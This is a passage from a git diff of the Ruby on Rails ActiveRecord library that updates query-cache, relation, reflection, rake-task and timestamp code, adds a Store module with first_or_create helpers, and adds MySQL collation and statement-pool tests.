-71,7 +71,7 @@ module ActiveRecord end def invert_rename_index(args) - [:rename_index, args.reverse] + [:rename_index, [args.first] + args.last(2).reverse] end def invert_rename_column(args) diff --git a/activerecord/lib/active_record/observer.rb b/activerecord/lib/active_record/observer.rb index 5a5351b517..fdf17c003c 100644 --- a/activerecord/lib/active_record/observer.rb +++ b/activerecord/lib/active_record/observer.rb @@ -111,7 +111,7 @@ module ActiveRecord callback_meth = :"_notify_#{observer_name}_for_#{callback}" unless klass.respond_to?(callback_meth) klass.send(:define_method, callback_meth) do |&block| - observer.send(callback, self, &block) + observer.update(callback, self, &block) end klass.send(callback, callback_meth) end diff --git a/activerecord/lib/active_record/persistence.rb b/activerecord/lib/active_record/persistence.rb index d9cd7987b0..5e65e46a7d 100644 --- a/activerecord/lib/active_record/persistence.rb +++ b/activerecord/lib/active_record/persistence.rb @@ -287,7 +287,7 @@ module ActiveRecord private - # A hook to be overriden by association modules. + # A hook to be overridden by association modules. def destroy_associations end @@ -304,7 +304,7 @@ module ActiveRecord return 0 if attributes_with_values.empty? klass = self.class stmt = klass.unscoped.where(klass.arel_table[klass.primary_key].eq(id)).arel.compile_update(attributes_with_values) - klass.connection.update stmt.to_sql + klass.connection.update stmt end # Creates a record with values matching those of the instance attributes @@ -314,7 +314,7 @@ module ActiveRecord new_id = self.class.unscoped.insert attributes_values - self.id ||= new_id + self.id ||= new_id if self.class.primary_key IdentityMap.add(self) if IdentityMap.enabled? @new_record = false diff --git a/activerecord/lib/active_record/query_cache.rb b/activerecord/lib/active_record/query_cache.rb index e485901440..466d148901 100644 --- a/activerecord/lib/active_record/query_cache.rb +++ b/activerecord/lib/active_record/query_cache.rb @@ -28,9 +28,10 @@ module ActiveRecord end class BodyProxy # :nodoc: - def initialize(original_cache_value, target) + def initialize(original_cache_value, target, connection_id) @original_cache_value = original_cache_value @target = target + @connection_id = connection_id end def method_missing(method_sym, *arguments, &block) @@ -48,6 +49,7 @@ module ActiveRecord def close @target.close if @target.respond_to?(:close) ensure + ActiveRecord::Base.connection_id = @connection_id ActiveRecord::Base.connection.clear_query_cache unless @original_cache_value ActiveRecord::Base.connection.disable_query_cache! @@ -60,7 +62,13 @@ module ActiveRecord ActiveRecord::Base.connection.enable_query_cache! status, headers, body = @app.call(env) - [status, headers, BodyProxy.new(old, body)] + [status, headers, BodyProxy.new(old, body, ActiveRecord::Base.connection_id)] + rescue Exception => e + ActiveRecord::Base.connection.clear_query_cache + unless old + ActiveRecord::Base.connection.disable_query_cache! + end + raise e end end end diff --git a/activerecord/lib/active_record/railties/databases.rake b/activerecord/lib/active_record/railties/databases.rake index 0ee7e20cf1..4fb19b14ea 100644 --- a/activerecord/lib/active_record/railties/databases.rake +++ b/activerecord/lib/active_record/railties/databases.rake @@ -94,7 +94,7 @@ db_namespace = namespace :db do "IDENTIFIED BY '#{config['password']}' WITH GRANT OPTION;" ActiveRecord::Base.establish_connection(config.merge( 'database' => nil, 'username' => 'root', 'password' => root_password)) - ActiveRecord::Base.connection.create_database(config['database'], creation_options) + ActiveRecord::Base.connection.create_database(config['database'], mysql_creation_options(config)) ActiveRecord::Base.connection.execute grant_statement ActiveRecord::Base.establish_connection(config) else @@ -203,11 +203,13 @@ db_namespace = namespace :db do end db_list = ActiveRecord::Base.connection.select_values("SELECT version FROM #{ActiveRecord::Migrator.schema_migrations_table_name}") file_list = [] - Dir.foreach(File.join(Rails.root, 'db', 'migrate')) do |file| - # only files matching "20091231235959_some_name.rb" pattern - if match_data = /^(\d{14})_(.+)\.rb$/.match(file) - status = db_list.delete(match_data[1]) ? 'up' : 'down' - file_list << [status, match_data[1], match_data[2].humanize] + ActiveRecord::Migrator.migrations_paths.each do |path| + Dir.foreach(path) do |file| + # only files matching "20091231235959_some_name.rb" pattern + if match_data = /^(\d{14})_(.+)\.rb$/.match(file) + status = db_list.delete(match_data[1]) ? 'up' : 'down' + file_list << [status, match_data[1], match_data[2].humanize] + end end end db_list.map! do |version| @@ -286,7 +288,7 @@ db_namespace = namespace :db do pending_migrations.each do |pending_migration| puts ' %4d %s' % [pending_migration.version, pending_migration.name] end - abort %{Run "rake db:migrate" to update your database then try again.} + abort %{Run `rake db:migrate` to update your database then try again.} end end end @@ -339,9 +341,10 @@ db_namespace = namespace :db do namespace :schema do desc 'Create a db/schema.rb file that can be portably used against any DB supported by AR' - task :dump => :load_config do + task :dump => [:environment, :load_config] do require 'active_record/schema_dumper' - File.open(ENV['SCHEMA'] || "#{Rails.root}/db/schema.rb", "w") do |file| + filename = ENV['SCHEMA'] || "#{Rails.root}/db/schema.rb" + File.open(filename, "w:utf-8") do |file| ActiveRecord::Base.establish_connection(Rails.env) ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, file) end @@ -354,7 +357,7 @@ db_namespace = namespace :db do if File.exists?(file) load(file) else - abort %{#{file} doesn't exist yet. Run "rake db:migrate" to create it then try again. If you do not intend to use a database, you should instead alter #{Rails.root}/config/application.rb to limit the frameworks that will be loaded} + abort %{#{file} doesn't exist yet. Run `rake db:migrate` to create it then try again. If you do not intend to use a database, you should instead alter #{Rails.root}/config/application.rb to limit the frameworks that will be loaded} end end end @@ -421,10 +424,10 @@ db_namespace = namespace :db do ENV['PGHOST'] = abcs['test']['host'] if abcs['test']['host'] ENV['PGPORT'] = abcs['test']['port'].to_s if abcs['test']['port'] ENV['PGPASSWORD'] = abcs['test']['password'].to_s if abcs['test']['password'] - `psql -U "#{abcs['test']['username']}" -f #{Rails.root}/db/#{Rails.env}_structure.sql #{abcs['test']['database']} #{abcs['test']['template']}` + `psql -U "#{abcs['test']['username']}" -f "#{Rails.root}/db/#{Rails.env}_structure.sql" #{abcs['test']['database']} #{abcs['test']['template']}` when /sqlite/ dbfile = abcs['test']['database'] || abcs['test']['dbfile'] - `sqlite3 #{dbfile} < #{Rails.root}/db/#{Rails.env}_structure.sql` + `sqlite3 #{dbfile} < "#{Rails.root}/db/#{Rails.env}_structure.sql"` when 'sqlserver' `sqlcmd -S #{abcs['test']['host']} -d #{abcs['test']['database']} -U #{abcs['test']['username']} -P #{abcs['test']['password']} -i db\\#{Rails.env}_structure.sql` when 'oci', 'oracle' diff --git a/activerecord/lib/active_record/reflection.rb b/activerecord/lib/active_record/reflection.rb index a2324039cf..5285060288 100644 --- a/activerecord/lib/active_record/reflection.rb +++ b/activerecord/lib/active_record/reflection.rb @@ -211,22 +211,20 @@ module ActiveRecord @association_foreign_key ||= options[:association_foreign_key] || class_name.foreign_key end - def association_primary_key - @association_primary_key ||= - options[:primary_key] || - !options[:polymorphic] && klass.primary_key || - 'id' + # klass option is necessary to support loading polymorphic associations + def association_primary_key(klass = nil) + options[:primary_key] || primary_key(klass || self.klass) end def active_record_primary_key - @active_record_primary_key ||= options[:primary_key] || active_record.primary_key + @active_record_primary_key ||= options[:primary_key] || primary_key(active_record) end def counter_cache_column if options[:counter_cache] == true "#{active_record.name.demodulize.underscore.pluralize}_count" elsif options[:counter_cache] - options[:counter_cache] + options[:counter_cache].to_s end end @@ -359,6 +357,10 @@ module ActiveRecord active_record.name.foreign_key end end + + def primary_key(klass) + klass.primary_key || raise(UnknownPrimaryKey.new(klass)) + end end # Holds all the meta-data about a :through association as it was specified @@ -463,17 +465,15 @@ module ActiveRecord # We want to use the klass from this reflection, rather than just delegate straight to # the source_reflection, because the source_reflection may be polymorphic. We still # need to respect the source_reflection's :primary_key option, though. - def association_primary_key - @association_primary_key ||= begin - # Get the "actual" source reflection if the immediate source reflection has a - # source reflection itself - source_reflection = self.source_reflection - while source_reflection.source_reflection - source_reflection = source_reflection.source_reflection - end - - source_reflection.options[:primary_key] || klass.primary_key + def association_primary_key(klass = nil) + # Get the "actual" source reflection if the immediate source reflection has a + # source reflection itself + source_reflection = self.source_reflection + while source_reflection.source_reflection + source_reflection = source_reflection.source_reflection end + + source_reflection.options[:primary_key] || primary_key(klass || self.klass) end # Gets an array of possible <tt>:through</tt> source reflection names: diff --git a/activerecord/lib/active_record/relation.rb b/activerecord/lib/active_record/relation.rb index 2d0861d5c9..ecefaa633c 100644 --- a/activerecord/lib/active_record/relation.rb +++ b/activerecord/lib/active_record/relation.rb @@ -68,7 +68,7 @@ module ActiveRecord end conn.insert( - im.to_sql, + im, 'SQL', primary_key, primary_key_value, @@ -94,6 +94,48 @@ module ActiveRecord scoping { @klass.create!(*args, &block) } end + # Tries to load the first record; if it fails, then <tt>create</tt> is called with the same arguments as this method. + # + # Expects arguments in the same format as <tt>Base.create</tt>. + # + # ==== Examples + # # Find the first user named Penélope or create a new one. + # User.where(:first_name => 'Penélope').first_or_create + # # => <User id: 1, first_name: 'Penélope', last_name: nil> + # + # # Find the first user named Penélope or create a new one. + # # We already have one so the existing record will be returned. + # User.where(:first_name => 'Penélope').first_or_create + # # => <User id: 1, first_name: 'Penélope', last_name: nil> + # + # # Find the first user named Scarlett or create a new one with a particular last name. + # User.where(:first_name => 'Scarlett').first_or_create(:last_name => 'Johansson') + # # => <User id: 2, first_name: 'Scarlett', last_name: 'Johansson'> + # + # # Find the first user named Scarlett or create a new one with a different last name. + # # We already have one so the existing record will be returned. + # User.where(:first_name => 'Scarlett').first_or_create do |user| + # user.last_name = "O'Hara" + # end + # # => <User id: 2, first_name: 'Scarlett', last_name: 'Johansson'> + def first_or_create(attributes = nil, options = {}, &block) + first || create(attributes, options, &block) + end + + # Like <tt>first_or_create</tt> but calls <tt>create!</tt> so an exception is raised if the created record is invalid. + # + # Expects arguments in the same format as <tt>Base.create!</tt>. + def first_or_create!(attributes = nil, options = {}, &block) + first || create!(attributes, options, &block) + end + + # Like <tt>first_or_create</tt> but calls <tt>new</tt> instead of <tt>create</tt>. + # + # Expects arguments in the same format as <tt>Base.new</tt>. + def first_or_initialize(attributes = nil, options = {}, &block) + first || new(attributes, options, &block) + end + def respond_to?(method, include_private = false) arel.respond_to?(method, include_private) || Array.method_defined?(method) || @@ -108,10 +150,10 @@ module ActiveRecord if default_scoped.equal?(self) @records = if @readonly_value.nil? && !@klass.locking_enabled? - eager_loading? ? find_with_associations : @klass.find_by_sql(arel.to_sql, @bind_values) + eager_loading? ? find_with_associations : @klass.find_by_sql(arel, @bind_values) else IdentityMap.without do - eager_loading? ? find_with_associations : @klass.find_by_sql(arel.to_sql, @bind_values) + eager_loading? ? find_with_associations : @klass.find_by_sql(arel, @bind_values) end end @@ -216,19 +258,21 @@ module ActiveRecord if conditions || options.present? where(conditions).apply_finder_options(options.slice(:limit, :order)).update_all(updates) else - limit = nil - order = [] - # Apply limit and order only if they're both present - if @limit_value.present? == @order_values.present? - limit = arel.limit - order = arel.orders - end + stmt = Arel::UpdateManager.new(arel.engine) - stmt = arel.compile_update(Arel.sql(@klass.send(:sanitize_sql_for_assignment, updates))) - stmt.take limit if limit - stmt.order(*order) + stmt.set Arel.sql(@klass.send(:sanitize_sql_for_assignment, updates)) + stmt.table(table) stmt.key = table[primary_key] - @klass.connection.update stmt.to_sql, 'SQL', bind_values + + if joins_values.any? + @klass.connection.join_to_update(stmt, arel) + else + stmt.take(arel.limit) + stmt.order(*arel.orders) + stmt.wheres = arel.constraints + end + + @klass.connection.update stmt, 'SQL', bind_values end end @@ -345,8 +389,7 @@ module ActiveRecord where(conditions).delete_all else statement = arel.compile_delete - affected = @klass.connection.delete( - statement.to_sql, 'SQL', bind_values) + affected = @klass.connection.delete(statement, 'SQL', bind_values) reset affected @@ -392,7 +435,7 @@ module ActiveRecord end def to_sql - @to_sql ||= arel.to_sql + @to_sql ||= klass.connection.to_sql(arel) end def where_values_hash diff --git a/activerecord/lib/active_record/relation/batches.rb b/activerecord/lib/active_record/relation/batches.rb index ec1176e3dd..2fd89882ff 100644 --- a/activerecord/lib/active_record/relation/batches.rb +++ b/activerecord/lib/active_record/relation/batches.rb @@ -62,7 +62,7 @@ module ActiveRecord start = options.delete(:start).to_i batch_size = options.delete(:batch_size) || 1000 - relation = relation.except(:order).order(batch_order).limit(batch_size) + relation = relation.reorder(batch_order).limit(batch_size) records = relation.where(table[primary_key].gteq(start)).all while records.any? diff --git a/activerecord/lib/active_record/relation/calculations.rb b/activerecord/lib/active_record/relation/calculations.rb index 0ac821b2d7..af86771d2d 100644 --- a/activerecord/lib/active_record/relation/calculations.rb +++ b/activerecord/lib/active_record/relation/calculations.rb @@ -223,7 +223,7 @@ module ActiveRecord query_builder = relation.arel end - type_cast_calculated_value(@klass.connection.select_value(query_builder.to_sql), column_for(column_name), operation) + type_cast_calculated_value(@klass.connection.select_value(query_builder), column_for(column_name), operation) end def execute_grouped_calculation(operation, column_name, distinct) #:nodoc: @@ -250,6 +250,7 @@ module ActiveRecord operation, distinct).as(aggregate_alias) ] + select_values += @select_values unless @having_values.empty? select_values.concat group_fields.zip(group_aliases).map { |field,aliaz| "#{field} AS #{aliaz}" @@ -258,7 +259,7 @@ module ActiveRecord relation = except(:group).group(group.join(',')) relation.select_values = select_values - calculated_data = @klass.connection.select_all(relation.to_sql) + calculated_data = @klass.connection.select_all(relation) if association key_ids = calculated_data.collect { |row| row[group_aliases.first] } diff --git a/activerecord/lib/active_record/relation/finder_methods.rb b/activerecord/lib/active_record/relation/finder_methods.rb index 8cef4e5554..7eeb3dde70 100644 --- a/activerecord/lib/active_record/relation/finder_methods.rb +++ b/activerecord/lib/active_record/relation/finder_methods.rb @@ -114,7 +114,7 @@ module ActiveRecord def first(*args) if args.any? if args.first.kind_of?(Integer) || (loaded? && !args.first.kind_of?(Hash)) - to_a.first(*args) + limit(*args).to_a else apply_finder_options(args.first).first end @@ -134,7 +134,11 @@ module ActiveRecord def last(*args) if args.any? if args.first.kind_of?(Integer) || (loaded? && !args.first.kind_of?(Hash)) - to_a.last(*args) + if order_values.empty? && reorder_value.nil? + order("#{primary_key} DESC").limit(*args).reverse + else + to_a.last(*args) + end else apply_finder_options(args.first).last end @@ -180,7 +184,9 @@ module ActiveRecord # Person.exists?(:name => "David") # Person.exists?(['name LIKE ?', "%#{query}%"]) # Person.exists? - def exists?(id = nil) + def exists?(id = false) + return false if id.nil? + id = id.id if ActiveRecord::Base === id join_dependency = construct_join_dependency_for_association_find @@ -193,8 +199,8 @@ module ActiveRecord else relation = relation.where(table[primary_key].eq(id)) if id end - - connection.select_value(relation.to_sql, "#{name} Exists") ? true : false + + connection.select_value(relation, "#{name} Exists") ? true : false end protected @@ -202,7 +208,7 @@ module ActiveRecord def find_with_associations join_dependency = construct_join_dependency_for_association_find relation = construct_relation_for_association_find(join_dependency) - rows = connection.select_all(relation.to_sql, 'SQL', relation.bind_values) + rows = connection.select_all(relation, 'SQL', relation.bind_values) join_dependency.instantiate(rows) rescue ThrowResult [] diff --git a/activerecord/lib/active_record/relation/predicate_builder.rb b/activerecord/lib/active_record/relation/predicate_builder.rb index 2814771002..7e8ddd1b5d 100644 --- a/activerecord/lib/active_record/relation/predicate_builder.rb +++ b/activerecord/lib/active_record/relation/predicate_builder.rb @@ -19,7 +19,7 @@ module ActiveRecord case value when ActiveRecord::Relation - value.select_values = [value.klass.arel_table['id']] if value.select_values.empty? + value = value.select(value.klass.arel_table[value.klass.primary_key]) if value.select_values.empty? attribute.in(value.arel.ast) when Array, ActiveRecord::Associations::CollectionProxy values = value.to_a.map { |x| diff --git a/activerecord/lib/active_record/relation/query_methods.rb b/activerecord/lib/active_record/relation/query_methods.rb index 8bd4732c0c..670ba0987d 100644 --- a/activerecord/lib/active_record/relation/query_methods.rb +++ b/activerecord/lib/active_record/relation/query_methods.rb @@ -37,6 +37,35 @@ module ActiveRecord relation end + # Works in two unique ways. + # + # First: takes a block so it can be used just like Array#select. + # + # Model.scoped.select { |m| m.field == value } + # + # This will build an array of objects from the database for the scope, + # converting them into an array and iterating through them using Array#select. + # + # Second: Modifies the SELECT statement for the query so that only certain + # fields are retrieved: + # + # >> Model.select(:field) + # => [#<Model field:value>] + # + # Although in the above example it looks as though this method returns an + # array, it actually returns a relation object and can have other query + # methods appended to it, such as the other methods in ActiveRecord::QueryMethods. + # + # This method will also take multiple parameters: + # + # >> Model.select(:field, :other_field, :and_one_more) + # => [#<Model field: "value", other_field: "value", and_one_more: "value">] + # + # Any attributes that do not have fields retrieved by a select + # will return `nil` when the getter method for that attribute is used: + # + # >> Model.select(:field).first.other_field + # => nil def select(value = Proc.new) if block_given? to_a.select {|*block_args| value.call(*block_args) } @@ -147,6 +176,42 @@ module ActiveRecord relation end + # Used to extend a scope with additional methods, either through + # a module or through a block provided. + # + # The object returned is a relation, which can be further extended. + # + # === Using a module + # + # module Pagination + # def page(number) + # # pagination code goes here + # end + # end + # + # scope = Model.scoped.extending(Pagination) + # scope.page(params[:page]) + # + # You can also pass a list of modules: + # + # scope = Model.scoped.extending(Pagination, SomethingElse) + # + # === Using a block + # + # scope = Model.scoped.extending do + # def page(number) + # # pagination code goes here + # end + # end + # scope.page(params[:page]) + # + # You can also use a block and a module list: + # + # scope = Model.scoped.extending(Pagination) do + # def per_page(number) + # # pagination code goes here + # end + # end def extending(*modules) modules << Module.new(&Proc.new) if block_given? @@ -254,12 +319,12 @@ module ActiveRecord association_joins = buckets['association_join'] || [] stashed_association_joins = buckets['stashed_join'] || [] - join_nodes = buckets['join_node'] || [] + join_nodes = (buckets['join_node'] || []).uniq string_joins = (buckets['string_join'] || []).map { |x| x.strip }.uniq - join_list = custom_join_ast(manager, string_joins) + join_list = join_nodes + custom_join_ast(manager, string_joins) join_dependency = ActiveRecord::Associations::JoinDependency.new( @klass, @@ -267,10 +332,6 @@ module ActiveRecord join_list ) - join_nodes.each do |join| - join_dependency.alias_tracker.aliased_name_for(join.left.name.downcase) - end - join_dependency.graft(*stashed_association_joins) @implicit_readonly = true unless association_joins.empty? && stashed_association_joins.empty? @@ -280,7 +341,6 @@ module ActiveRecord association.join_to(manager) end - manager.join_sources.concat join_nodes.uniq manager.join_sources.concat join_list manager @@ -311,6 +371,7 @@ module ActiveRecord o.reverse when String, Symbol o.to_s.split(',').collect do |s| + s.strip! s.gsub!(/\sasc\Z/i, ' DESC') || s.gsub!(/\sdesc\Z/i, ' ASC') || s.concat(' DESC') end else diff --git a/activerecord/lib/active_record/schema_dumper.rb b/activerecord/lib/active_record/schema_dumper.rb index 19585f6214..6fe305f843 100644 --- a/activerecord/lib/active_record/schema_dumper.rb +++ b/activerecord/lib/active_record/schema_dumper.rb @@ -40,6 +40,10 @@ module ActiveRecord def header(stream) define_params = @version ? ":version => #{@version}" : "" + if stream.respond_to?(:external_encoding) + stream.puts "# encoding: #{stream.external_encoding.name}" + end + stream.puts <<HEADER # This file is auto-generated from the current state of the database. Instead # of editing this file, please use the migrations feature of Active Record to diff --git a/activerecord/lib/active_record/serializers/xml_serializer.rb b/activerecord/lib/active_record/serializers/xml_serializer.rb index cbfa1ad609..0e7f57aa43 100644 --- a/activerecord/lib/active_record/serializers/xml_serializer.rb +++ b/activerecord/lib/active_record/serializers/xml_serializer.rb @@ -179,7 +179,7 @@ module ActiveRecord #:nodoc: class XmlSerializer < ActiveModel::Serializers::Xml::Serializer #:nodoc: def initialize(*args) super - options[:except] |= Array.wrap(@serializable.class.inheritance_column) + options[:except] = Array.wrap(options[:except]) | Array.wrap(@serializable.class.inheritance_column) end class Attribute < ActiveModel::Serializers::Xml::Serializer::Attribute #:nodoc: diff --git a/activerecord/lib/active_record/store.rb b/activerecord/lib/active_record/store.rb new file mode 100644 index 0000000000..d5910df891 --- /dev/null +++ b/activerecord/lib/active_record/store.rb @@ -0,0 +1,49 @@ +module ActiveRecord + # Store gives you a thin wrapper around serialize for the purpose of storing hashes in a single column. + # It's like a simple key/value store backed into your record when you don't care about being able to + # query that store outside the context of a single record. + # + # You can then declare accessors to this store that are then accessible just like any other attribute + # of the model. This is very helpful for easily exposing store keys to a form or elsewhere that's + # already built around just accessing attributes on the model. + # + # Make sure that you declare the database column used for the serialized store as a text, so there's + # plenty of room. + # + # Examples: + # + # class User < ActiveRecord::Base + # store :settings, accessors: [ :color, :homepage ] + # end + # + # u = User.new(color: 'black', homepage: '37signals.com') + # u.color # Accessor stored attribute + # u.settings[:country] = 'Denmark' # Any attribute, even if not specified with an accessor + # + # # Add additional accessors to an existing store through store_accessor + # class SuperUser < User + # store_accessor :settings, :privileges, :servants + # end + module Store + extend ActiveSupport::Concern + + module ClassMethods + def store(store_attribute, options = {}) + serialize store_attribute, Hash + store_accessor(store_attribute, options[:accessors]) if options.has_key? :accessors + end + + def store_accessor(store_attribute, *keys) + Array(keys).flatten.each do |key| + define_method("#{key}=") do |value| + send(store_attribute)[key] = value + end + + define_method(key) do + send(store_attribute)[key] + end + end + end + end + end +end
\ No newline at end of file diff --git a/activerecord/lib/active_record/timestamp.rb b/activerecord/lib/active_record/timestamp.rb index 1511c71ffc..4d5e469a7f 100644 --- a/activerecord/lib/active_record/timestamp.rb +++ b/activerecord/lib/active_record/timestamp.rb @@ -37,6 +37,10 @@ module ActiveRecord self.record_timestamps = true end + def initialize_dup(other) + clear_timestamp_attributes + end + private def create #:nodoc: @@ -44,7 +48,9 @@ module ActiveRecord current_time = current_time_from_proper_timezone all_timestamp_attributes.each do |column| - write_attribute(column.to_s, current_time) if respond_to?(column) && self.send(column).nil? + if respond_to?(column) && respond_to?("#{column}=") && self.send(column).nil? + write_attribute(column.to_s, current_time) + end end end @@ -95,6 +101,13 @@ module ActiveRecord def current_time_from_proper_timezone #:nodoc: self.class.default_timezone == :utc ? Time.now.utc : Time.now end + + # Clear attributes and changed_attributes + def clear_timestamp_attributes + all_timestamp_attributes_in_model.each do |attribute_name| + self[attribute_name] = nil + changed_attributes.delete(attribute_name) + end + end end end - diff --git a/activerecord/lib/active_record/validations/associated.rb b/activerecord/lib/active_record/validations/associated.rb index 5df85304a2..7af0352a31 100644 --- a/activerecord/lib/active_record/validations/associated.rb +++ b/activerecord/lib/active_record/validations/associated.rb @@ -17,15 +17,7 @@ module ActiveRecord # validates_associated :pages, :library # end # - # Warning: If, after the above definition, you then wrote: - # - # class Page < ActiveRecord::Base - # belongs_to :book - # - # validates_associated :book - # end - # - # this would specify a circular dependency and cause infinite recursion. + # WARNING: This validation must not be used on both ends of an association. Doing so will lead to a circular dependency and cause infinite recursion. # # NOTE: This validation will not fail if the association hasn't been assigned. If you want to # ensure that the association is both present and guaranteed to be valid, you also need to diff --git a/activerecord/lib/active_record/validations/uniqueness.rb b/activerecord/lib/active_record/validations/uniqueness.rb index 484b1d369b..2e2ea8c42b 100644 --- a/activerecord/lib/active_record/validations/uniqueness.rb +++ b/activerecord/lib/active_record/validations/uniqueness.rb @@ -57,8 +57,8 @@ module ActiveRecord value = column.limit ? value.to_s.mb_chars[0, column.limit] : value.to_s if column.text? if !options[:case_sensitive] && value && column.text? - # will use SQL LOWER function before comparison - relation = table[attribute].lower.eq(table.lower(value)) + # will use SQL LOWER function before comparison, unless it detects a case insensitive collation + relation = klass.connection.case_insensitive_comparison(table, attribute, column, value) else value = klass.connection.case_sensitive_modifier(value) relation = table[attribute].eq(value) diff --git a/activerecord/test/cases/adapter_test.rb b/activerecord/test/cases/adapter_test.rb index 3942e7bb41..94497e37c7 100644 --- a/activerecord/test/cases/adapter_test.rb +++ b/activerecord/test/cases/adapter_test.rb @@ -151,7 +151,20 @@ class AdapterTest < ActiveRecord::TestCase else @connection.execute "INSERT INTO fk_test_has_fk (fk_id) VALUES (0)" end + # should deleted created record as otherwise disable_referential_integrity will try to enable contraints after executed block + # and will fail (at least on Oracle) + @connection.execute "DELETE FROM fk_test_has_fk" end end end + + def test_deprecated_visitor_for + visitor_klass = Class.new(Arel::Visitors::ToSql) + Arel::Visitors::VISITORS['fuuu'] = visitor_klass + pool = stub(:spec => stub(:config => { :adapter => 'fuuu' })) + visitor = assert_deprecated { + ActiveRecord::ConnectionAdapters::AbstractAdapter.visitor_for(pool) + } + assert visitor.is_a?(visitor_klass) + end end diff --git a/activerecord/test/cases/adapters/mysql/active_schema_test.rb b/activerecord/test/cases/adapters/mysql/active_schema_test.rb index 509baacaef..94fc3564df 100644 --- a/activerecord/test/cases/adapters/mysql/active_schema_test.rb +++ b/activerecord/test/cases/adapters/mysql/active_schema_test.rb @@ -2,7 +2,7 @@ require "cases/helper" class ActiveSchemaTest < ActiveRecord::TestCase def setup - ActiveRecord::ConnectionAdapters::MysqlAdapter.class_eval do + ActiveRecord::ConnectionAdapters::AbstractMysqlAdapter.class_eval do alias_method :execute_without_stub, :execute remove_method :execute def execute(sql, name = nil) return sql end @@ -10,7 +10,7 @@ class ActiveSchemaTest < ActiveRecord::TestCase end def teardown - ActiveRecord::ConnectionAdapters::MysqlAdapter.class_eval do + ActiveRecord::ConnectionAdapters::AbstractMysqlAdapter.class_eval do remove_method :execute alias_method :execute, :execute_without_stub end @@ -99,7 +99,7 @@ class ActiveSchemaTest < ActiveRecord::TestCase private def with_real_execute #we need to actually modify some data, so we make execute point to the original method - ActiveRecord::ConnectionAdapters::MysqlAdapter.class_eval do + ActiveRecord::ConnectionAdapters::AbstractMysqlAdapter.class_eval do alias_method :execute_with_stub, :execute remove_method :execute alias_method :execute, :execute_without_stub @@ -107,7 +107,7 @@ class ActiveSchemaTest < ActiveRecord::TestCase yield ensure #before finishing, we restore the alias to the mock-up method - ActiveRecord::ConnectionAdapters::MysqlAdapter.class_eval do + ActiveRecord::ConnectionAdapters::AbstractMysqlAdapter.class_eval do remove_method :execute alias_method :execute, :execute_with_stub end diff --git a/activerecord/test/cases/adapters/mysql/case_sensitivity_test.rb b/activerecord/test/cases/adapters/mysql/case_sensitivity_test.rb new file mode 100644 index 0000000000..5ffd886dab --- /dev/null +++ b/activerecord/test/cases/adapters/mysql/case_sensitivity_test.rb @@ -0,0 +1,35 @@ +require "cases/helper" +require 'models/person' + +class MysqlCaseSensitivityTest < ActiveRecord::TestCase + class CollationTest < ActiveRecord::Base + validates_uniqueness_of :string_cs_column, :case_sensitive => false + validates_uniqueness_of :string_ci_column, :case_sensitive => false + end + + def test_columns_include_collation_different_from_table + assert_equal 'utf8_bin', CollationTest.columns_hash['string_cs_column'].collation + assert_equal 'utf8_general_ci', CollationTest.columns_hash['string_ci_column'].collation + end + + def test_case_sensitive + assert !CollationTest.columns_hash['string_ci_column'].case_sensitive? + assert CollationTest.columns_hash['string_cs_column'].case_sensitive? + end + + def test_case_insensitive_comparison_for_ci_column + CollationTest.create!(:string_ci_column => 'A') + invalid = CollationTest.new(:string_ci_column => 'a') + queries = assert_sql { invalid.save } + ci_uniqueness_query = queries.detect { |q| q.match /string_ci_column/ } + assert_no_match(/lower/i, ci_uniqueness_query) + end + + def test_case_insensitive_comparison_for_cs_column + CollationTest.create!(:string_cs_column => 'A') + invalid = CollationTest.new(:string_cs_column => 'a') + queries = assert_sql { invalid.save } + cs_uniqueness_query = queries.detect { |q| q.match /string_cs_column/ } + assert_match(/lower/i, cs_uniqueness_query) + end +end diff --git a/activerecord/test/cases/adapters/mysql/statement_pool_test.rb b/activerecord/test/cases/adapters/mysql/statement_pool_test.rb new file mode 100644 index 0000000000..83de90f179 --- /dev/null +++ b/activerecord/test/cases/adapters/mysql/statement_pool_test.rb @@ -0,0 +1,23 @@ +require 'cases/helper' + +module ActiveRecord::ConnectionAdapters + class MysqlAdapter + class StatementPoolTest < ActiveRecord::TestCase + def test_cache_is_per_pid + return skip('must support fork') unless Process.respond_to?(:fork) + + cache = StatementPool.new nil, 10 + cache['foo'] = 'bar' + assert_equal 'bar', cache['foo'] + + pid = fork { + lookup = cache['foo']; + exit!(!lookup) + } + + Process.waitpid pid + assert $?.success?, 'process should exit successfully' + end + end + end +end diff --git a/activerecord/test/cases/adapters/mysql2/case_sensitivity_test.rb b/activerecord/test/cases/adapters/mysql2/case_sensitivity_test.rb new file mode 100644 index 0000000000..6bcc113482 --- /dev/null +++ b/activerecord/test/cases/adapters/mysql2/case_sensitivity_test.rb @@ -0,0 +1,35 @@ +require "cases/helper" +require 'models/person' + +class Mysql2CaseSensitivityTest < ActiveRecord::TestCase + class CollationTest < ActiveRecord::Base + validates_uniqueness_of :string_cs_column, :case_sensitive => false + validates_uniqueness_of :string_ci_column, :case_sensitive => false + end + + def test_columns_include_collation_different_from_table + assert_equal 'utf8_bin', CollationTest.columns_hash['string_cs_column'].collation + assert_equal 'utf8_general_ci', CollationTest.columns_hash['string_ci_column'].collation + end + + def test_case_sensitive + assert !CollationTest.columns_hash['string_ci_column'].case_sensitive? + assert CollationTest.columns_hash['string_cs_column'].case_sensitive? + end + + def test_case_insensitive_comparison_for_ci_column + CollationTest.create!(:string_ci_column => 'A') + invalid = CollationTest.new(:string_ci_column => 'a') + queries = assert_sql { invalid.save } + ci_uniqueness_query = queries.detect { |q| q.match(/string_ci_column/) } + assert_no_match(/lower/i, ci_uniqueness_query) + end + + def test_case_insensitive_comparison_for_cs_column + CollationTest.create!(:string_cs_column => 'A') + invalid = CollationTest.new(:string_cs_column => 'a') + queries = assert_sql { invalid.save } + cs_uniqueness_query = queries.detect { |q| q.match(/string_cs_column/)} + assert_match(/lower/i, cs_uniqueness_query) + end +end diff --git a/activerecord/test/cases/adapters/postgresql/schema_test.rb b/activerecord/test/cases/adapters/postgresql/schema_test.rb index 3a7f1badf0..b01eabc840 100644 --- a/activerecord/test/cases/adapters/postgresql/schema_test.rb +++ b/activerecord/test/cases/adapters/postgresql/schema_test.rb @@ -38,6 +38,10 @@ class SchemaTest < ActiveRecord::TestCase set_table_name 'test_schema."Things"' end + class Thing5 < ActiveRecord::Base + set_table_name 'things' + end + def setup @connection = ActiveRecord::Base.connection @connection.execute "CREATE SCHEMA #{SCHEMA_NAME} CREATE TABLE #{TABLE_NAME} (#{COLUMNS.join(',')})" @@ -91,6 +95,12 @@ class SchemaTest < ActiveRecord::TestCase end end + def test_table_exists_quoted_table + 